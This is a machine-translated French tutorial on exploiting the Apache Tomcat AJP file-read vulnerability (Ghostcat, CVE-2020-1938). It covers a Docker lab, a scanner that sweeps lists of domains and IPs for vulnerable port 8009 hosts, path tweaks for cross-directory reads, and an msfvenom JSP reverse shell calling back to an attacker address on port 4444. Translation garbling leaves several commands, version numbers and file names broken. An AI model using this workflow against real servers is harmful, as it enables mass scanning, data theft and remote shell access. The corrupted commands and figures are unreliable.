1. Affecte Version
- Apache Tomcat 6
- Apache Tomcat 7 <7.0.100
- Apache Tomcat 8 <05/08/51
- Apache Tomcat 9 <9.0.31
2. reproduction
2.1 Préparation de l'environnement
Sélectionnez une version du Tomcat affectée, nous sommes ici pour une version officielle 9.0.30 de Tomcat sur le moyeu Docker pour reproduire l'image
docker traction tomcat: 9,0 . 30 -jdk8-adoptopenjdk-hotspot
Après avoir exécuté le récipient dans le récipient dans le répertoire / usr / local / tomcat répertoire, copiez le contenu de webapps.dist dans le répertoire webapps
docker run - rm -p 8009 : 8009 -p 8080 : 8080 tomcat -d: 9.0 . 30 -jdk8-adoptopenjdk-hotspot
Que ce soit le port d'accès 8080, voir le Tomcat en cours d'exécution
2.2 Outils Préparation
Visitez le lien suivant ou vous trouver sur GitHub
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
2.3 Test simple
threading-find-port-8009.py utilisé pour trouver des ports ouverts 8009 nom de domaine ou IP, nous allons analyser le nom de domaine ou IP mis en ip.txt
Après threading-find-port-8009.py en cours d'exécution va générer 8009.txt, conservez-le dans ip.txt port ouvert 8009 nom de domaine / IP
python threading- trouver -port- 8009 .py
threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py grillagée 8009.txt en ligne avec url de failles, placé dans vul.txt au nom de domaine existant vul.txt est le nom de domaine contient la vulnérabilité.
python-threading CNVD- 2,02 mille - 10 487 -Tomcat-Ajp-lfi.py
3. Lecture transversale
Le script par défaut pour lire les fichiers dans le répertoire ROOT, si vous voulez lire d'autres fichiers dans le répertoire webapps, vous pouvez apporter des modifications simples au script
Ne peut pas franchir le répertoire de lecture / etc / passwd et d'autres fichiers, et inclure des fichiers ne peuvent être lus dans le répertoire webapps
Modifier « / asdf » peut mettre en œuvre une lecture croisée. Par exemple, nous voulons lire test.txt dans le répertoire de test
_, data = t.perform_request ( ' / test / qsdf ' , attributs = [
Créé sous le répertoire webapps d'un test, mettre un fichier test.txt
Ce fichier peut alors être lu avec un script modifié
4. coquille de rebond
Si la vulnérabilité de téléchargement de fichiers du serveur existe en même temps, vous pouvez obtenir shell plus loin. Modifier le script Let de derrière « / asdf » plus « .jsp » à
_, data = t.perform_request ( ' /asdf.jsp ' , attributs = [
Génération Payload, dans lequel l'adresse de l'attaquant est 192.168.125.130
msfvenom -p java / jsp_shell_reverse_tcp LHOST = 192.168 . 125,130 LPORT = 4444 > shell.txt
Régler la charge utile, puis commencer à écouter
Après mis shell.txt sous le répertoire webapps ROOT, exécutez le script
Obtenez coquille
5. Recommandations de protection
http://blog.nsfocus.net/cve-2020-1938/
déclaration
Cet article est seulement pour l'auto-test et l'échange sécurisé d'apprentissage, et non pour l'exploitation illégale. Toutes les conséquences directes ou indirectes résultant de l'utilisation de cet article, la responsabilité de l'utilisateur lui-même.
références:
https://www.lstazl.com/tomcat%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9ecnvd-2020- 1048 /
https://www.geek-by.xyz/2020/02/21/cve-2020-1938-apache-tomcat-ajp-wen-jian-bao-han-lou-dong/